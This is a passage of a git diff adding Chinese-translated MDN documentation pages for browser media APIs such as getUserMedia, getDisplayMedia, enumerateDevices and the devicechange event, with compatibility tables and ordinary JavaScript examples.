[1] 在将 about:config 中的首选项 media.mediasource.enabled 切换到 true 后才可支持。此外,这一版本的 Firefox 仅支持白名单内的网站,例如 YouTube、Netflix 以及其他流行的流媒体网站。此白名单在 Firefox 42+ 被移除,媒体源扩展默认被启用,且支持所有网站。

+ +

[2] 只针对 Windows 8+。

+ +

参见

+ + + + diff --git a/files/zh-cn/web/api/media_streams_api/index.html b/files/zh-cn/web/api/media_streams_api/index.html new file mode 100644 index 0000000000..1bd63c3b59 --- /dev/null +++ b/files/zh-cn/web/api/media_streams_api/index.html @@ -0,0 +1,124 @@ +--- +title: MediaStream API +slug: Web/API/Media_Streams_API +tags: + - 媒体 + - 媒体流API + - 视频 + - 语音 + - 进一步的 + - 音频 +translation_of: Web/API/Media_Streams_API +--- +

{{SeeCompatTable}}

+ +

媒体流处理API(通常被称为媒体流API或流API)是描述音频或视频数据流的 WebRTC 的一部分,处理它们的方法,与数据类型相关的约束,成功和错误 当异步使用数据时的回调以及在处理期间触发的事件。

+ +

基本概念

+ +

这个API是基于操纵一个 MediaStream 对象代表音频或视频相关数据的流量。 通常一个 MediaStream是作为一个简单的URL string 它可以用来引用存储在DOM中的数据 {{domxref("File")}}, 或者一个 {{domxref("Blob")}} 对象建立 {{domxref("window.URL.createObjectURL()")}}, 如视频所描述的

+ +

一个 MediaStream 包含零个或更多的 MediaStreamTrack 对象,代表着各种的声轨和视频轨。 每一个 MediaStreamTrack 可能有一个或更多的通道。这个通道代表着媒体流的最小单元,比如一个音频信号对应着一个对应的扬声器,像是在立体声音轨中的左通道或右通道。

+ +

MediaStream 对象有着单一的输入和输出。由 getUserMedia() 创建的 MediaStream 对象是在本地借助用户相机和麦克风的源输入。非本地的 MediaStream 代表了一个媒体元素, 像是{{HTMLElement("video")}} 元素或是 {{HTMLElement("audio")}}元素, 一般是源自网络的流,并通过 WebRTC PeerConnection API 或使用 Web Audio API 获得{{domxref("MediaStreamAudioSourceNode")}} 元素。MediaStream 对象的输出能链接到一个用户。 它可以是一个媒体元素, 像是 <audio> 或者 <video>, the WebRTC PeerConnection API 或是 Web Audio API {{domxref("MediaStreamAudioDestinationNode")}}。

+ +

参考

+ +

在这些参考文章中,您将找到构成Media Capture和Streams API的每个接口和事件需要了解的基本信息。

+ +
+ +
+ +

 

+ +

浏览器支持

+ + + +

{{ CompatibilityTable() }}

+ +

{{Compat("api.MediaStream")}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOpera Safari (WebKit)
Stream API 21{{ property_prefix("webkit") }} nightly 18{{ property_prefix("moz") }} {{ CompatUnknown() }} 12{{ CompatUnknown() }} 
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Stream API {{ CompatNo() }} {{ CompatUnknown() }}{{ CompatUnknown() }} {{ CompatNo() }} {{ CompatNo() }} 
+
+ +

当前已经支持在Chrome,欧朋,和Firefox Nightly 18 浏览器使用WenRTC获取相机功能 。在Firefox Nightly 中启用WebRTC 需要你在配置中进行设置:

+ + + +

See Also

+ + diff --git a/files/zh-cn/web/api/mediacapabilitiesinfo/index.html b/files/zh-cn/web/api/mediacapabilitiesinfo/index.html new file mode 100644 index 0000000000..14342d3da0 --- /dev/null +++ b/files/zh-cn/web/api/mediacapabilitiesinfo/index.html @@ -0,0 +1,74 @@ +--- +title: MediaCapabilitiesInfo +slug: Web/API/MediaCapabilitiesInfo +translation_of: Web/API/MediaCapabilitiesInfo +--- +

{{APIRef("Media Capabilities API")}}

+ +

 Media Capabilities APIMediaCapabilitiesInfo 接口在 {{domxref("MediaCapabilities")}}接口的  {{domxref("MediaCapabilities.encodingInfo()")}} 或 {{domxref("MediaCapabilities.decodingInfo()")}} 方法返回的 promise 完成时变得可用。它提供了媒体类型是否支持,在编码或解码此媒体时是否流畅和能效等信息。

+ +

属性

+ +

 MediaCapabilitiesInfo 接口包含3个布尔属性:

+ + + +

浏览器将报告一个支持的媒体配置为 smooth 和 powerEfficient 直到此设备的统计信息被记录. 所有受支持的音频编解码器将报告为高能效。

+ +

范例

+ +
// 测试的 {{domxref("MediaConfiguration")}}
+const mediaConfig = {
+    type : 'file',
+    audio : {
+        contentType : "audio/ogg",
+        channels : 2,
+        bitrate : 132700,
+        samplerate : 5200
+     },
+};
+
+// 检查支持和性能
+navigator.mediaCapabilities.decodingInfo(mediaConfig).then(result => { // result 包含媒体兼容信息
+    console.log('This configuration is ' +
+        (result.supported ? '' : 'not ') + 'supported, ' +             // 配置的媒体能否被用户代理解码?
+        (result.smooth ? '' : 'not ') + 'smooth, and ' +               // 是否流畅?
+        (result.powerEfficient ? '' : 'not ') + 'power efficient.').   // 是否高能效?
+});
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Media Capabilities','#media-capabilities-info','MediaCapabilitiesInfo')}}{{Spec2('Media Capabilities')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaCapabilitiesInfo")}}

+ +

参考

+ + diff --git a/files/zh-cn/web/api/mediadevices/devicechange_event/index.html b/files/zh-cn/web/api/mediadevices/devicechange_event/index.html new file mode 100644 index 0000000000..7ebc7fb71f --- /dev/null +++ b/files/zh-cn/web/api/mediadevices/devicechange_event/index.html @@ -0,0 +1,153 @@ +--- +title: devicechange +slug: Web/API/MediaDevices/devicechange_event +translation_of: Web/API/MediaDevices/devicechange_event +--- +

每当媒体设备(例如相机,麦克风或扬声器)连接到系统或从系统中移除时,devicechange 事件就会被发送到 {{domxref("MediaDevices")}}  实例。 这是一个没有附加属性的通用 {{domxref("Event")}} 。

+ +

一般信息

+ +
+
规范
+
{{SpecName('Media Capture')}}
+
接口
+
Event
+
是否冒泡
+
No
+
是否可取消
+
No
+
对象
+
{{domxref('MediaDevices')}}
+
默认动作
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target{{readonlyinline}}{{domxref("EventTarget")}}事件对象 (位于DOM树最上面的元素).
type {{readonlyinline}}{{domxref("DOMString")}}事件类型.
bubbles {{readonlyinline}}{{domxref("Boolean")}}是否冒泡
cancelable {{readonlyinline}}{{domxref("Boolean")}}是否可被取消
+ +

相关事件

+ +

.

+ +

样例

+ +

有关使用 devicechange 事件更新屏幕上设备列表的示例,请参阅 {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/ondevicechange", "Example")}}。

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Media Capture', '#event-mediadevices-devicechange', 'devicechange') }}{{ Spec2('Media Capture') }}Initial specification.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(52.0)}}{{CompatGeckoDesktop(51)}}[1]{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}39{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}39{{CompatUnknown}}{{CompatNo}}
+
+ +

[1] Support for the devicechange event and for {{domxref("MediaDevices.ondevicechange")}} landed in Firefox 51, but only for Mac, and disabled by default. It can be enabled by setting the preference media.ondevicechange.enabled to true. Support for this event was added for Linux and Windows—and it was enabled by default—starting in Firefox 52.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediadevices/enumeratedevices/index.html b/files/zh-cn/web/api/mediadevices/enumeratedevices/index.html new file mode 100644 index 0000000000..02a65eb991 --- /dev/null +++ b/files/zh-cn/web/api/mediadevices/enumeratedevices/index.html @@ -0,0 +1,93 @@ +--- +title: MediaDevices.enumerateDevices() +slug: Web/API/MediaDevices/enumerateDevices +tags: + - API + - WebRTC + - 方法 +translation_of: Web/API/MediaDevices/enumerateDevices +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("MediaDevices")}} 的方法 enumerateDevices() 请求一个可用的媒体输入和输出设备的列表,例如麦克风,摄像机,耳机设备等。 返回的 {{domxref("Promise")}} 完成时,会带有一个描述设备的 {{domxref("MediaDeviceInfo")}} 的数组。

+ +

语法

+ +
var enumeratorPromise = navigator.mediaDevices.enumerateDevices();
+
+ +

返回值

+ +

返回一个 {{ domxref("Promise") }} 。当完成时,它接收一个 {{domxref("MediaDeviceInfo")}} 对象的数组。每个对象描述一个可用的媒体输入输出设备。.

+ +

如果枚举失败,promise 也会被拒绝(rejected)。

+ +

示例

+ +

这是一个使用 enumerateDevices() 的例子。它只是输出一个带有标签(有标签的情况下)的 device ID 的列表。

+ + + +
if (!navigator.mediaDevices || !navigator.mediaDevices.enumerateDevices) {
+  console.log("不支持 enumerateDevices() .");
+  return;
+}
+
+// 列出相机和麦克风。
+
+navigator.mediaDevices.enumerateDevices()
+.then(function(devices) {
+  devices.forEach(function(device) {
+    console.log(device.kind + ": " + device.label +
+                " id = " + device.deviceId);
+  });
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+ +

这将会输出类似以下的内容:

+ +
videoinput: id = csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: id = RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: id = r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+
+ +

或者,如果有一个或多个 {{domxref("MediaStream")}} 处于活动状态或者获得了持久授权,将会输出以下内容:

+ +
videoinput: FaceTime HD Camera (Built-in) id=csO9c0YpAf274OuCPUA53CNE0YHlIr2yXCi+SqfBZZ8=
+audioinput: default (Built-in Microphone) id=RKxXByjnabbADGQNNZqLVLdmXlS0YkETYCIbg+XxnvM=
+audioinput: Built-in Microphone id=r2/xw1xUPIyZunfV1lGrKOma5wTOvCkWfZ368XCndm0=
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Media Capture', '#dom-mediadevices-enumeratedevices', 'mediaDevices: enumerateDevices')}}{{Spec2('Media Capture')}}Initial definition.
+ +

浏览器兼容性

+ + + +
{{Compat("api.MediaDevices.enumerateDevices")}}
+ +

See also

+ + diff --git a/files/zh-cn/web/api/mediadevices/getdisplaymedia/index.html b/files/zh-cn/web/api/mediadevices/getdisplaymedia/index.html new file mode 100644 index 0000000000..4f9df6b55b --- /dev/null +++ b/files/zh-cn/web/api/mediadevices/getdisplaymedia/index.html @@ -0,0 +1,118 @@ +--- +title: MediaDevices.getDisplayMedia() +slug: Web/API/MediaDevices/getDisplayMedia +tags: + - API + - 会谈 + - 分享 + - 参考 + - 多媒体 + - 多媒体设备 + - 屏幕 + - 屏幕捕捉 + - 屏幕捕捉API + - 捕捉 + - 方法 + - 显示 + - 获取显示多媒体 + - 视频 +translation_of: Web/API/MediaDevices/getDisplayMedia +--- +
{{DefaultAPISidebar("Screen Capture API")}}
+ +

这个 {{domxref("MediaDevices")}}  接口的 getDisplayMedia() 方法提示用户去选择和授权捕获展示的内容或部分内容(如一个窗口)在一个  {{domxref("MediaStream")}} 里. 然后,这个媒体流可以通过使用 MediaStream Recording API 被记录或者作为WebRTC 会话的一部分被传输。

+ +

去 Using the Screen Capture API 查找更多详情和例子.

+ +

语法

+ +
var promise = navigator.mediaDevices.getDisplayMedia(constraints);
+
+ +

参数

+ +
+
constraints {{optional_inline}}
+
一个可选的{{domxref("MediaStreamConstraints")}}对象,它指定了返回的{{domxref("MediaStream")}}的要求。 因为getDisplayMedia()需要视频轨道,所以即使constraints 对象没有明确请求视频轨道,返回的流也会有一个。
+
+ +

返回值

+ +

一个被解析为 {{domxref("MediaStream")}} 的 {{jsxref("Promise")}},其中包含一个视频轨道。视频轨道的内容来自用户选择的屏幕区域以及一个可选的音频轨道。

+ +
+

Note: 浏览器对音频的支持程度各不相同,既取决于是否支持,也取决于音频源. 点击 {{anch("Browser compatibility", "compatibility table")}} 来查看各个浏览器的支持性.

+
+ +

异常

+ +

来自返回的promise的拒绝是通过将{{domxref("DOMException")}}错误对象传递给promise的失败处理程序来进行的。可能的错误是:

+ +
+
AbortError [中止错误]
+
发生了与以下任何其他异常不匹配的错误或故障。
+
InvalidStateError [拒绝错误]
+
调用 getDisplayMedia() 的context中的 {{domxref("document")}} 不是完全激活的; 例如,也许它不是最前面的标签。
+
NotAllowedError [拒绝错误]
+
用户拒绝授予访问屏幕区域的权限,或者不允许当前浏览实例访问屏幕共享。
+
NotFoundError [找不到错误]
+
没有可用于捕获的屏幕视频源。
+
NotReadableError [无法读取错误]
+
用户选择了屏幕,窗口,标签或其他屏幕数据源,但发生了硬件或操作系统级别错误或锁定,从而预先占用了共享所选源。
+
OverconstrainedError [转换错误]
+
创建流后,由于无法生成兼容的流导致应用指定的 constraints 失效。
+
TypeError [类型错误]
+
指定的 constraints 包括调用 getDisplayMedia() 时不允许的constraints。 这些不受支持的constraintsadvanced 的,任何约束又有一个名为 minexact 的成员。
+
+ +

示例

+ +

在下面的示例中,我们创建了一个 startCapture() 方法,该方法在给定由 displayMediaOptions 参数指定的一组选项的情况下启动屏幕捕获。 选项以 {{domxref("MediaStreamConstraints")}}对象的形式指定,该对象指定首选流配置和从中捕获视频的显示表面

+ +
async function startCapture(displayMediaOptions) {
+  let captureStream = null;
+
+  try {
+    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+  return captureStream;
+}
+ +

这里使用 {{jsxref("await")}} 来进行异步等待 getDisplayMedia()来进行 {{domxref("MediaStream")}}解析,其中包含指定选项所请求的显示内容。 之后,流被返回给调用者以供其使用,可能是使用 {{domxref("RTCPeerConnection.addTrack()")}}添加到WebRTC调用来从流中添加视频轨道。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Screen Capture', '#dom-mediadevices-getdisplaymedia', 'MediaDevices.getDisplayMedia()')}}{{Spec2('Screen Capture')}}初始定义
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.MediaDevices.getDisplayMedia")}}

+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/mediadevices/getsupportedconstraints/index.html b/files/zh-cn/web/api/mediadevices/getsupportedconstraints/index.html new file mode 100644 index 0000000000..1dbc22edcf --- /dev/null +++ b/files/zh-cn/web/api/mediadevices/getsupportedconstraints/index.html @@ -0,0 +1,132 @@ +--- +title: MediaDevices.getSupportedConstraints() +slug: Web/API/MediaDevices/getSupportedConstraints +translation_of: Web/API/MediaDevices/getSupportedConstraints +--- +

{{APIRef("Media Capture and Streams")}}

+ +

 

+ +

{{domxref("MediaDevices")}} 接口的getSupportedConstraints()方法返回一个基于{{domxref("MediaTrackSupportedConstraints")}}的对象, 其成员字段都是客户端({{Glossary("user agent")}})所支持的约束属性(如帧率,窗口大小)。

+ +

语法

+ +
var supportedConstraints = navigator.mediaDevices.getSupportedConstraints();
+ +

参数

+ +

+ +

返回值

+ +

一个新的基于{{domxref("MediaTrackSupportedConstraints")}} 的对象用来监视客户端所支持的约束属性.因为只有客户端所支持的约束属性才能被展示在这个列表中 , 这些布尔值(Boolean)属性的每一个都为true。

+ +

示例

+ +

这个示例展示了你的客户端所支持的约束属性的列表。

+ + + +
let constraintList = document.getElementById("constraintList");
+let supportedConstraints = navigator.mediaDevices.getSupportedConstraints();
+
+for (let constraint in supportedConstraints) {
+  if (supportedConstraints.hasOwnProperty(constraint)) {
+    let elem = document.createElement("li");
+
+    elem.innerHTML = "<code>" + constraint + "</code>";
+    constraintList.appendChild(elem);
+  }
+}
+ +

结果

+ +

{{ EmbedLiveSample('Example', 600, 350) }}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Media Capture', '#widl-MediaDevices-getSupportedConstraints-MediaTrackSupportedConstraints', 'getSupportedConstraints()')}}{{Spec2('Media Capture')}}Initial definition.
+ +

浏览器支持情况

+ +

{{ CompatibilityTable }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari
Basic support{{ CompatVersionUnknown }}{{CompatGeckoDesktop(50) }}{{CompatUnknown}}{{ CompatUnknown }}{{ CompatUnknown }}{{ CompatUnknown }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{ CompatUnknown }}{{ CompatGeckoMobile(48) }}{{ CompatGeckoMobile(50) }}{{ CompatUnknown }}{{ CompatUnknown }}{{ CompatUnknown }}{{ CompatVersionUnknown }}
+
diff --git a/files/zh-cn/web/api/mediadevices/getusermedia/index.html b/files/zh-cn/web/api/mediadevices/getusermedia/index.html new file mode 100644 index 0000000000..a9afcece9f --- /dev/null +++ b/files/zh-cn/web/api/mediadevices/getusermedia/index.html @@ -0,0 +1,259 @@ +--- +title: MediaDevices.getUserMedia() +slug: Web/API/MediaDevices/getUserMedia +translation_of: Web/API/MediaDevices/getUserMedia +--- +
{{APIRef("WebRTC")}}
+ +
+

MediaDevices.getUserMedia() 会提示用户给予使用媒体输入的许可,媒体输入会产生一个{{domxref("MediaStream")}},里面包含了请求的媒体类型的轨道。此流可以包含一个视频轨道(来自硬件或者虚拟视频源,比如相机、视频采集设备和屏幕共享服务等等)、一个音频轨道(同样来自硬件或虚拟音频源,比如麦克风、A/D转换器等等),也可能是其它轨道类型。

+ +

它返回一个 {{jsxref("Promise")}} 对象,成功后会resolve回调一个 {{domxref("MediaStream")}} 对象。若用户拒绝了使用权限,或者需要的媒体源不可用,promisereject回调一个  PermissionDeniedError 或者 NotFoundError 。

+
+ +
+

返回的promise对象可能既不会resolve也不会reject,因为用户不是必须选择允许或拒绝。

+
+ +

通常你可以使用 {{domxref("navigator.mediaDevices")}} 来获取 {{domxref("MediaDevices")}} ,例如:

+ +
navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  /* 使用这个stream stream */
+})
+.catch(function(err) {
+  /* 处理error */
+});
+ +

语法

+ +
var promise = navigator.mediaDevices.getUserMedia(constraints);
+ +

参数

+ +
+
constraints
+
+

作为一个{{domxref("MediaStreamConstraints")}} 对象,指定了请求的媒体类型和相对应的参数。

+ +

constraints 参数是一个包含了videoaudio两个成员MediaStreamConstraints 对象,用于说明请求的媒体类型。必须至少一个类型或者两个同时可以被指定。如果浏览器无法找到指定的媒体类型或者无法满足相对应的参数要求,那么返回的Promise对象就会处于rejected[失败]状态,NotFoundError作为rejected[失败]回调的参数。 

+ +

以下同时请求不带任何参数的音频和视频:

+ +
{ audio: true, video: true }
+ +

如果为某种媒体类型设置了 true ,得到的结果的流中就需要有此种类型的轨道。如果其中一个由于某种原因无法获得,getUserMedia() 将会产生一个错误。

+ +

当由于隐私保护的原因,无法访问用户的摄像头和麦克风信息时,应用可以使用额外的constraints参数请求它所需要或者想要的摄像头和麦克风能力。下面演示了应用想要使用1280x720的摄像头分辨率:

+ +
{
+  audio: true,
+  video: { width: 1280, height: 720 }
+}
+ +

浏览器会试着满足这个请求参数,但是如果无法准确满足此请求中参数要求或者用户选择覆盖了请求中的参数时,有可能返回其它的分辨率。

+ +

强制要求获取特定的尺寸时,可以使用关键字min, max, 或者 exact(就是 min == max). 以下参数表示要求获取最低为1280x720的分辨率。

+ +
{
+  audio: true,
+  video: {
+    width: { min: 1280 },
+    height: { min: 720 }
+  }
+}
+ +

如果摄像头不支持请求的或者更高的分辨率,返回的Promise会处于rejected状态,NotFoundError作为rejected回调的参数,而且用户将不会得到要求授权的提示。

+ +

造成不同表现的原因是,相对于简单的请求值和ideal关键字而言,关键字min, max, 和 exact有着内在关联的强制性,请看一个更详细的例子:

+ +
{
+  audio: true,
+  video: {
+    width: { min: 1024, ideal: 1280, max: 1920 },
+    height: { min: 776, ideal: 720, max: 1080 }
+  }
+}
+ +

当请求包含一个ideal(应用最理想的)值时,这个值有着更高的权重,意味着浏览器会先尝试找到最接近指定的理想值的设定或者摄像头(如果设备拥有不止一个摄像头)。

+ +

简单的请求值也可以理解为是应用理想的值,因此我们的第一个指定分辨率的请求也可以写成如下:

+ +
{
+  audio: true,
+  video: {
+    width: { ideal: 1280 },
+    height: { ideal: 720 }
+  }
+}
+ +

并不是所有的constraints 都是数字。例如, 在移动设备上面,如下的例子表示优先使用前置摄像头(如果有的话):

+ +
{ audio: true, video: { facingMode: "user" } }
+ +

强制使用后置摄像头,请用:

+ +
{ audio: true, video: { facingMode: { exact: "environment" } } }
+
+
+ +

返回值

+ +

返回一个 {{jsxref("Promise")}} , 这个Promise成功后的回调函数带一个 {{domxref("MediaStream")}} 对象作为其参数。

+ +

异常

+ +

返回一个失败状态的Promise,这个Promise失败后的回调函数带一个{{domxref("DOMException")}}对象作为其参数。 可能的异常有:

+ +
+
AbortError[中止错误]
+
尽管用户和操作系统都授予了访问设备硬件的权利,而且未出现可能抛出NotReadableError异常的硬件问题,但仍然有一些问题的出现导致了设备无法被使用。
+
NotAllowedError[拒绝错误]
+
用户拒绝了当前的浏览器实例的访问请求;或者用户拒绝了当前会话的访问;或者用户在全局范围内拒绝了所有媒体访问请求。
+
+
较旧版本的规范使用了SecurityError,但在新版本当中SecurityError被赋予了新的意义。
+
+
NotFoundError[找不到错误]
+
找不到满足请求参数的媒体类型。
+
NotReadableError[无法读取错误]
+
尽管用户已经授权使用相应的设备,操作系统上某个硬件、浏览器或者网页层面发生的错误导致设备无法被访问。
+
OverConstrainedError[无法满足要求错误]
+
指定的要求无法被设备满足,此异常是一个类型为OverconstrainedError的对象,拥有一个constraint属性,这个属性包含了当前无法被满足的constraint对象,还拥有一个message属性,包含了阅读友好的字符串用来说明情况。
+
+
因为这个异常甚至可以在用户尚未授权使用当前设备的情况下抛出,所以应当可以当作一个探测设备能力属性的手段[fingerprinting surface]。
+
+
SecurityError[安全错误]
+
getUserMedia() 被调用的 {{domxref("Document")}} 上面,使用设备媒体被禁止。这个机制是否开启或者关闭取决于单个用户的偏好设置。
+
TypeError[类型错误]
+
constraints对象未设置[空],或者都被设置为false
+
+ +

示例

+ +

宽度和高度

+ +

这个例子设置了摄像头分辨率,并把结果的 {{domxref("MediaStream")}} 分配给了一个video元素。 

+ +
// 想要获取一个最接近 1280x720 的相机分辨率
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(mediaStream) {
+  var video = document.querySelector('video');
+  video.srcObject = mediaStream;
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) { console.log(err.name + ": " + err.message); }); // 总是在最后检查错误
+ +

在旧的浏览器中使用新的API

+ +

这是一个使用 navigator.mediaDevices.getUserMedia()的例子,带一个polyfill以适应旧的浏览器。 要注意的是这个polyfill并不能修正一些约束语法上的遗留差异,这表示约束在某些浏览器上可能不会很好地运行。推荐使用处理了约束的 adapter.js polyfill 来替代。

+ +
// 老的浏览器可能根本没有实现 mediaDevices,所以我们可以先设置一个空的对象
+if (navigator.mediaDevices === undefined) {
+  navigator.mediaDevices = {};
+}
+
+// 一些浏览器部分支持 mediaDevices。我们不能直接给对象设置 getUserMedia
+// 因为这样可能会覆盖已有的属性。这里我们只会在没有getUserMedia属性的时候添加它。
+if (navigator.mediaDevices.getUserMedia === undefined) {
+  navigator.mediaDevices.getUserMedia = function(constraints) {
+
+    // 首先,如果有getUserMedia的话,就获得它
+    var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+    // 一些浏览器根本没实现它 - 那么就返回一个error到promise的reject来保持一个统一的接口
+    if (!getUserMedia) {
+      return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+    }
+
+    // 否则,为老的navigator.getUserMedia方法包裹一个Promise
+    return new Promise(function(resolve, reject) {
+      getUserMedia.call(navigator, constraints, resolve, reject);
+    });
+  }
+}
+
+navigator.mediaDevices.getUserMedia({ audio: true, video: true })
+.then(function(stream) {
+  var video = document.querySelector('video');
+  // 旧的浏览器可能没有srcObject
+  if ("srcObject" in video) {
+    video.srcObject = stream;
+  } else {
+    // 防止在新的浏览器里使用它,应为它已经不再支持了
+    video.src = window.URL.createObjectURL(stream);
+  }
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+
+ +

帧率

+ +

在某些情况下,比如WebRTC上使用受限带宽传输时,低帧率可能更适宜。

+ +
var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+
+ +

前置或者后置摄像头

+ +

在移动设备(电话)上

+ +
var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+
+ +

权限

+ +

在一个可安装的app(如Firefox OS app)中使用 getUserMedia() ,你需要在声明文件中指定以下的权限:

+ +
"permissions": {
+  "audio-capture": {
+    "description": "Required to capture audio using getUserMedia()"
+  },
+  "video-capture": {
+    "description": "Required to capture video using getUserMedia()"
+  }
+}
+ +

参见 permission: audio-capturepermission: video-capture 来获取更多信息。

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}{{Spec2('Media Capture')}}初始定义
+ +

浏览器兼容

+ +
{{Compat("api.MediaDevices.getUserMedia")}}
+ +

参考

+ + diff --git a/files/zh-cn/web/api/mediadevices/index.html b/files/zh-cn/web/api/mediadevices/index.html new file mode 100644 index 0000000000..19a922ce2d --- /dev/null +++ b/files/zh-cn/web/api/mediadevices/index.html @@ -0,0 +1,124 @@ +--- +title: MediaDevices +slug: Web/API/MediaDevices +tags: + - API + - Experimental + - Interface + - Media + - MediaDevices + - NeedsTranslation + - TopicStub + - WebRTC + - 媒体 + - 媒体流 + - 媒体设备 +translation_of: Web/API/MediaDevices +--- +
{{APIRef("Media Capture and Streams")}}
+ +

MediaDevices 接口提供访问连接媒体输入的设备,如照相机和麦克风,以及屏幕共享等。它可以使你取得任何硬件资源的媒体数据。

+ +

属性

+ +

从父类{{domxref("EventTarget")}}中继承的属性.

+ +

事件

+ +
+
{{domxref("MediaDevices.devicechange_event", "devicechange")}}
+
返回 {{event("devicechange")}} 事件类型的事件处理程序。
+ 也可通过 {{domxref("MediaDevices/ondevicechange", "ondevicechange")}} 访问
+
+ +

方法

+ +

从其父项继承方法 {{domxref("EventTarget")}}.

+ +
+
{{ domxref("MediaDevices.enumerateDevices()") }}
+
获取有关系统中可用的媒体输入和输出设备的一系列信息。
+
{{domxref("MediaDevices.getSupportedConstraints", "getSupportedConstraints()")}}
+
返回一个符合 {{domxref("MediaTrackSupportedConstraints")}} 的对象。该对象指明了 {{domxref("MediaStreamTrack")}} 接口支持的可约束的属性。查看 {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}} 去了解更多相关信息。
+
{{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}
+
提示用户选择显示器或显示器的一部分(例如窗口)以捕获为{{domxref("MediaStream")}} 以便共享或记录。返回解析为MediaStream的Promise。
+
{{ domxref("MediaDevices.getUserMedia()") }}
+
在用户通过提示允许的情况下,打开系统上的相机或屏幕共享和/或麦克风,并提供 {{domxref("MediaStream")}} 包含视频轨道和/或音频轨道的输入。
+
+
+ +

示例

+ +
'use strict';
+
+// Put variables in global scope to make them available to the browser console.
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+  audio: false,
+  video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var videoTracks = stream.getVideoTracks();
+  console.log('Got stream with constraints:', constraints);
+  console.log('Using video device: ' + videoTracks[0].label);
+  stream.onended = function() {
+    console.log('Stream ended');
+  };
+  window.stream = stream; // make variable available to browser console
+  video.srcObject = stream;
+})
+.catch(function(error) {
+  if (error.name === 'ConstraintNotSatisfiedError') {
+    errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
+        constraints.video.width.exact + ' px is not supported by your device.');
+  } else if (error.name === 'PermissionDeniedError') {
+    errorMsg('Permissions have not been granted to use your camera and ' +
+      'microphone, you need to allow the page access to your devices in ' +
+      'order for the demo to work.');
+  }
+  errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+  errorElement.innerHTML += '<p>' + msg + '</p>';
+  if (typeof error !== 'undefined') {
+    console.error(error);
+  }
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范状态评论
{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}{{Spec2('Media Capture')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.MediaDevices")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/mediadevices/ondevicechange/index.html b/files/zh-cn/web/api/mediadevices/ondevicechange/index.html new file mode 100644 index 0000000000..4c9c9cb0e0 --- /dev/null +++ b/files/zh-cn/web/api/mediadevices/ondevicechange/index.html @@ -0,0 +1,252 @@ +--- +title: MediaDevices.ondevicechange +slug: Web/API/MediaDevices/ondevicechange +translation_of: Web/API/MediaDevices/ondevicechange +--- +

{{APIRef("Media Capture and Streams")}}

+ +

